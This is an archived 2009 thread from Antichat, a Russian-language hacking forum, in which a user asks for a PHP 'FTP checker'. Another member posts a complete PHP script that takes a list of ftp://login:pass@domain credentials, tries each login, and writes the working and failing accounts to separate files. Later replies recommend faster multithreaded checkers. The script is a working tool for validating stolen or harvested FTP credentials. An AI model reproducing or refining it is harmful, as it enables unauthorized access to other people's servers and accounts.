Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   ФТП Чекер (https://forum.antichat.xyz/showthread.php?t=102528)

ttt0z 22.01.2009 14:47

ФТП Чекер
 
люди дайте фтп чекер на пхп

Артем Солнце 22.01.2009 14:57

https://forum.antichat.ru/showpost.php?p=565040&postcount=1

ttt0z 22.01.2009 15:01

Артем Солнце
еще раз говорю по слогам. на ПХП

Артем Солнце 22.01.2009 15:08

держи сучка!!1
Код:

<?
print "\n";
print "-----------------------------------\ \n";
print " this is ftp checker.\n";
print "----------------------------------------------------->\n";
if($argv[1])
$file=$argv[1];
else
{
print " usage: ".$argv[0]." [file]\n";
print " ~~~~~\n";
print " where :\n";
print " ~~~~~\n";
}
$good=fopen("good.txt","a+") or die ("cann't open good.txt");
$bad=fopen("bad.txt","a+") or die("cann't open bad.txt");
$list=file($file) or die(" [file] - file which string's ftp://login:pass@domain\n");
$valid=0;
$novalid=0;
$i=0;
for($i=0;$i<count($list);$i++){

$ein=strrpos($list[$i],"/");
$zwei=strrpos($list[$i],":");
$drei=strrpos($list[$i],"@");
$username=substr($list[$i],$ein+1,$zwei-$ein-1);
$userpass=substr($list[$i],$zwei+1,$drei-$zwei-1);
$domain=substr($list[$i],$drei+1);
$connect=@ftp_connect($domain,21,10);
if(@ftp_login($connect,$username,$userpass))
{
 @ftp_close($connect); 
 fputs($good,"ftp://"."$username".":".$userpass."@".$domain);
 $valid++;
}
else
{
 @ftp_close($connect);
 fputs($bad,"ftp://"."$username".":".$userpass."@".$domain);
 $novalid++;
}
}
print " all done \n";
print " ~~~~~~~~ \n";
print " total ftp: ".count($list)."\n";
print " god ftp: ".$valid."\n";
print " bad ftp: ".$novalid."\n";
print " c(0)ding by evil_packman.icq 233-990-800.\n";
?>


ttt0z 22.01.2009 15:27

сколько он будет чекать одну тысячу фтп???

Артем Солнце 22.01.2009 15:28

Цитата:

Сообщение от ttt0z
сколько он будет чекать одну тысячу фтп???

я чо экстрасенс?

ttt0z 22.01.2009 15:31

я хзз. но че то долго чекает.
может на пхп плохо чекать слишком медленно? рациональнее как то иначе?

gisTy 22.01.2009 15:33

на пхп чекеры гавно, ибо в один поток.
ищи на перле/питоне многопоточные, или на компилируемых языках...

ttt0z 22.01.2009 15:48

gisTy спасибо

ttt0z 22.01.2009 15:52

к стати, возможно ли что ANTICHAT FTP CHECER фтп отсылает автору, по мимо проверки?
это из темы https://forum.antichat.ru/showpost.php?p=565040&postcount=1


Время: 22:00